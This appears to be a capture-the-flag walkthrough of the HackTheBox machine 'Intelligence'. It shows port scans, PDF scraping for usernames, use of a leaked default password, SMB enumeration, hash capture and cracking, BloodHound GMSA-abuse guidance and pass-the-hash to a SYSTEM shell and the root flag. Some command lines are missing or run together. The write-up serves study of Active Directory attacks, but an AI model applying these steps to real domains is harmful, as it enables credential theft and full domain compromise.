┌──(kali㉿offsec)-[~/Desktop] └─$ sudo nmap -p- --min-rate=10000 -oG allports 10.10.10.248 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-29 22:34 CST Nmap scan report for10.10.10.248 Host is up (0.40s latency). Not shown: 65516 filtered tcp ports (no-response) PORT STATE SERVICE 53/tcp open domain 80/tcp open http 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 9389/tcp open adws 49667/tcp open unknown 49683/tcp open unknown 49684/tcp open unknown 49694/tcp open unknown 49743/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 34.79 seconds
┌──(kali㉿offsec)-[~/Desktop] └─$ sudo nmap -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49667,49683,49684,49694,49743 -sC -sV --min-rate=1000010.10.10.248 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-29 22:35 CST Nmap scan report for10.10.10.248 Host is up (0.36s latency).
PORT STATE SERVICE VERSION 53/tcp open domain? 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: Intelligence 88/tcp open tcpwrapped 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name) |_ssl-date: 2024-03-29T21:38:40+00:00; +7h00m00s from scanner time. | ssl-cert: Subject: commonName=dc.intelligence.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb | Not valid before: 2021-04-19T00:43:16 |_Not valid after: 2022-04-19T00:43:16 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=dc.intelligence.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb | Not valid before: 2021-04-19T00:43:16 |_Not valid after: 2022-04-19T00:43:16 |_ssl-date: 2024-03-29T21:38:37+00:00; +7h00m00s from scanner time. 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name) |_ssl-date: 2024-03-29T21:38:42+00:00; +6h59m57s from scanner time. | ssl-cert: Subject: commonName=dc.intelligence.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb | Not valid before: 2021-04-19T00:43:16 |_Not valid after: 2022-04-19T00:43:16 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name) |_ssl-date: 2024-03-29T21:38:42+00:00; +7h00m00s from scanner time. | ssl-cert: Subject: commonName=dc.intelligence.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb | Not valid before: 2021-04-19T00:43:16 |_Not valid after: 2022-04-19T00:43:16 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 9389/tcp open adws? 49667/tcp open msrpc Microsoft Windows RPC 49683/tcp open tcpwrapped 49684/tcp open msrpc Microsoft Windows RPC 49694/tcp open msrpc Microsoft Windows RPC 49743/tcp open msrpc Microsoft Windows RPC Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 171.95 seconds
New Account Guide Welcome to Intelligence Corp! Please login using your username and the default password of: NewIntelligenceCorpUser9876 After logging in please change your password as soon as possible.
Internal IT Update There has recently been some outages on our web servers. Ted has gotten a script in place to help notify us if this happens again. Also, after discussion following our recent security audit we are in the process of locking down our service accounts
while True: url = t.strftime("http://10.10.10.248/documents/%Y-%m-%d-upload.pdf") resp = requests.get(url) if resp.status_code == 200: with io.BytesIO(resp.content) as data: pdf = PyPDF2.PdfFileReader(data) users.add(pdf.getDocumentInfo()['/Creator']) for page in range(pdf.getNumPages()): text = pdf.getPage(page).extractText() if any([k in text.lower() for k in keywords]): print(f'==={url}===\n{text}') t = t + datetime.timedelta(days=1) if t >= end: break
with open('users', 'w') as f: f.write('\n'.join(users))
┌──(kali㉿offsec)-[~/Desktop/test] └─$ sudo python3 test.py ===http://10.10.10.248/documents/2020-06-04-upload.pdf=== New Account Guide Welcome to Intelligence Corp! Please login using your username and the default password of: NewIntelligenceCorpUser9876 After logging in please change your password as soon as possible. ===http://10.10.10.248/documents/2020-12-30-upload.pdf=== Internal IT Update There has recently been some outages on our web servers. Ted has gotten a script in place to help notify us if this happens again. Also, after discussion following our recent security audit we are in the process of locking down our service accounts.
Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC IT Disk NETLOGON Disk Logon server share SYSVOL Disk Logon server share Users Disk Reconnecting with SMB1 for workgroup listing. do_connect: Connection to 10.10.10.248 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available
[+] IP: 10.10.10.248:445 Name: intelligence.htb Status: Authenticated Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share IPC$ READ ONLY Remote IPC IT READ ONLY NETLOGON READ ONLY Logon server share SYSVOL READ ONLY Logon server share Users READ ONLY
┌──(kali㉿offsec)-[~/Desktop] └─$ smbclient \\\\10.10.10.248\\Users -U Tiffany.Molina%'NewIntelligenceCorpUser9876' Try "help" to get a list of possible commands. smb: \> ls . DR 0 Mon Apr 1909:20:262021 .. DR 0 Mon Apr 1909:20:262021 Administrator D 0 Mon Apr 1908:18:392021 All Users DHSrn 0 Sat Sep 1515:21:462018 Default DHR 0 Mon Apr 1910:17:402021 Default User DHSrn 0 Sat Sep 1515:21:462018 desktop.ini AHS 174 Sat Sep 1515:11:272018 Public DR 0 Mon Apr 1908:18:392021 Ted.Graves D 0 Mon Apr 1909:20:262021 Tiffany.Molina D 0 Mon Apr 1908:51:462021
3770367 blocks of size 4096.1461870 blocks available smb: \> cd Tiffany.Molina\ smb: \Tiffany.Molina\> ls . D 0 Mon Apr 1908:51:462021 .. D 0 Mon Apr 1908:51:462021 AppData DH 0 Mon Apr 1908:51:462021 Application Data DHSrn 0 Mon Apr 1908:51:462021 Cookies DHSrn 0 Mon Apr 1908:51:462021 Desktop DR 0 Mon Apr 1908:51:462021 Documents DR 0 Mon Apr 1908:51:462021 Downloads DR 0 Sat Sep 1515:12:332018 Favorites DR 0 Sat Sep 1515:12:332018 Links DR 0 Sat Sep 1515:12:332018 Local Settings DHSrn 0 Mon Apr 1908:51:462021 Music DR 0 Sat Sep 1515:12:332018 My Documents DHSrn 0 Mon Apr 1908:51:462021 NetHood DHSrn 0 Mon Apr 1908:51:462021 NTUSER.DAT AHn 131072 Tue Apr 204:48:572024 ntuser.dat.LOG1 AHS 86016 Mon Apr 1908:51:462021 ntuser.dat.LOG2 AHS 0 Mon Apr 1908:51:462021 NTUSER.DAT{6392777f-a0b5-11eb-ae6e-000c2908ad93}.TM.blf AHS 65536 Mon Apr 1908:51:462021 NTUSER.DAT{6392777f-a0b5-11eb-ae6e-000c2908ad93}.TMContainer00000000000000000001.regtrans-ms AHS 524288 Mon Apr 1908:51:462021 NTUSER.DAT{6392777f-a0b5-11eb-ae6e-000c2908ad93}.TMContainer00000000000000000002.regtrans-ms AHS 524288 Mon Apr 1908:51:462021 ntuser.ini AHS 20 Mon Apr 1908:51:462021 Pictures DR 0 Sat Sep 1515:12:332018 Recent DHSrn 0 Mon Apr 1908:51:462021 Saved Games D 0 Sat Sep 1515:12:332018 SendTo DHSrn 0 Mon Apr 1908:51:462021 Start Menu DHSrn 0 Mon Apr 1908:51:462021 Templates DHSrn 0 Mon Apr 1908:51:462021 Videos DR 0 Sat Sep 1515:12:332018
3770367 blocks of size 4096.1461870 blocks available smb: \Tiffany.Molina\> cd Desktop\ smb: \Tiffany.Molina\Desktop\> ls . DR 0 Mon Apr 1908:51:462021 .. DR 0 Mon Apr 1908:51:462021 user.txt AR 34 Tue Apr 204:39:392024
3770367 blocks of size 4096.1461870 blocks available smb: \Tiffany.Molina\Desktop\> get user.txt getting file \Tiffany.Molina\Desktop\user.txt of size 34 as user.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec) smb: \Tiffany.Molina\Desktop\>
┌──(kali㉿offsec)-[~/Desktop] └─$ smbclient \\\\10.10.10.248\\IT -U Tiffany.Molina%'NewIntelligenceCorpUser9876' Try "help" to get a list of possible commands. smb: \> ls . D 0 Mon Apr 1908:50:552021 .. D 0 Mon Apr 1908:50:552021 downdetector.ps1 A 1046 Mon Apr 1908:50:552021
3770367 blocks of size 4096.1461870 blocks available smb: \> get downdetector.ps1 getting file \downdetector.ps1 of size 1046 as downdetector.ps1 (0.6 KiloBytes/sec) (average 0.6 KiloBytes/sec) smb: \> exit
1 2 3 4 5 6 7 8 9 10 11 12
┌──(kali㉿offsec)-[~/Desktop] └─$ cat downdetector.ps1 ��# Check web server status. Scheduled to run every 5min Import-Module ActiveDirectory foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*") { try { $request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials if(.StatusCode -ne 200) { Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down" } } catch {} }
该脚本进入 LDAP 并获 取所有计算机的列表，然后循环访问名称以“web”开头的计算机。它将尝试向该服务器发出 Web 请求（使用正在运行的用户的凭据），如果状态代码不是 200，它将向 Ted.Graves 发送电子邮件，让他们知道主机已关闭。顶部的评论说它计划每五分钟运行一次。
[+] Servers: HTTP server [ON] HTTPS server [ON] WPAD proxy [ON] Auth proxy [OFF] SMB server [ON] Kerberos server [ON] SQL server [ON] FTP server [ON] IMAP server [ON] POP3 server [ON] SMTP server [ON] DNS server [ON] LDAP server [ON] MQTT server [ON] RDP server [ON] DCE-RPC server [ON] WinRM server [ON] SNMP server [OFF]
ATTENTION! Pure (unoptimized) backend kernels selected. Pure kernels can crack longer passwords, but drastically reduce performance. If you want to switch to optimized kernels, append -O to your commandline. See the above message to find out about the exact limits.
* Append -O to the commandline. This lowers the maximum supported password/salt length(usually down to 32).
* Append -w 3 to the commandline. This can cause your screen to lag.
* Append -S to the commandline. This has a drastic speed impact but can be better for specific attacks. Typical scenarios are a small wordlist but a large ruleset.
* Update your backend API runtime / driver the right way: https://hashcat.net/faq/wrongdriver
* Create more work items to make use of your parallelization power: https://hashcat.net/faq/morework
┌──(kali㉿offsec)-[~/Desktop] └─$ bloodhound-python -ns 10.10.10.248 -d intelligence.htb -dc dc.intelligence.htb -u Ted.Graves -p Mr.Teddy INFO: Found AD domain: intelligence.htb INFO: Getting TGT for user WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) INFO: Connecting to LDAP server: dc.intelligence.htb INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 1 computers INFO: Connecting to LDAP server: dc.intelligence.htb INFO: Found 43 users INFO: Found 55 groups INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: dc.intelligence.htb INFO: Done in 00M 48S
21、下面启动下neo4j数据库，就开始上传分析吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
┌──(kali㉿offsec)-[~/Desktop] └─$ sudo neo4j start [sudo] kali 的密码： Directories in use: home: /usr/share/neo4j config: /usr/share/neo4j/conf logs: /etc/neo4j/logs plugins: /usr/share/neo4j/plugins import: /usr/share/neo4j/import data: /etc/neo4j/data certificates: /usr/share/neo4j/certificates licenses: /usr/share/neo4j/licenses run: /var/lib/neo4j/run Starting Neo4j. Started neo4j(pid:53161). It is available at http://localhost:7474 There may be a short delay until the server is ready.
SVC_INT$@INTELLIGENCE.HTB is a Group Managed Service Account. The group ITSUPPORT@INTELLIGENCE.HTB can retrieve the password for the GMSA SVC_INT$@INTELLIGENCE.HTB.
Group Managed Service Accounts are a special type of Active Directory object, where the password for that object is mananaged by and automatically changed by Domain Controllers on a setinterval(check the MSDS-ManagedPasswordInterval attribute).
The intended use of a GMSA is to allow certain computer accounts to retrieve the password for the GMSA, then run local services as the GMSA. An attacker with control of an authorized principal may abuse that privilege to impersonate the GMSA.
There are several ways to abuse the ability to read the GMSA password. The most straight forward abuse is possible when the GMSA is currently logged on to a computer, which is the intended behavior for a GMSA. If the GMSA is logged on to the computer account which is granted the ability to retrieve the GMSA's password, simply steal the token from the process running as the GMSA, or inject into that process.
If the GMSA is not logged onto the computer, you may create a scheduled task or service set to run as the GMSA. The computer account will start the sheduled task or service as the GMSA, and then you may abuse the GMSA logon in the same fashion you would a standard user running processes on the machine(see the "HasSession" help modal for more details).
Finally, it is possible to remotely retrieve the password for the GMSA and convert that password to its equivalent NT hash.gMSADumper.py can be used for that purpose.
gMSADumper.py -u 'user' -p 'password' -d 'domain.local' At this point you are ready to use the NT hash the same way you would with a regular user account. You can perform pass-the-hash, overpass-the-hash, or any other technique that takes an NT hash as an input.
When abusing a GMSA that is already logged onto a system, you will have the same opsec considerations as when abusing a standard user logon. For more information about that, see the "HasSession" modal's opsec considerations tab.
When retrieving the GMSA password from Active Directory, you may generate a 4662 event on the Domain Controller; however, that event will likely perfectly resemble a legitimate event if you request the password from the same context as a computer account that is already authorized to read the GMSA password.
[*] SMBv3.0 dialect used [!] Launching semi-interactive shell - Careful what you execute [!] Press help for extra shell commands C:\>whoami intelligence\administrator
[*] Requesting shares on dc.intelligence.htb..... [*] Found writable share ADMIN$ [*] Uploading file SOMzpjgG.exe [*] Opening SVCManager on dc.intelligence.htb..... [*] Creating service ancH on dc.intelligence.htb..... [*] Starting service ancH..... [!] Press help for extra shell commands Microsoft Windows [Version 10.0.17763.1879] (c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami nt authority\system
C:\Windows\system32> cd C:/Users/Administrator/Desktop
C:\Users\Administrator\Desktop> type root.txt 44f316f48f6250723dfd91afb7dcfabb
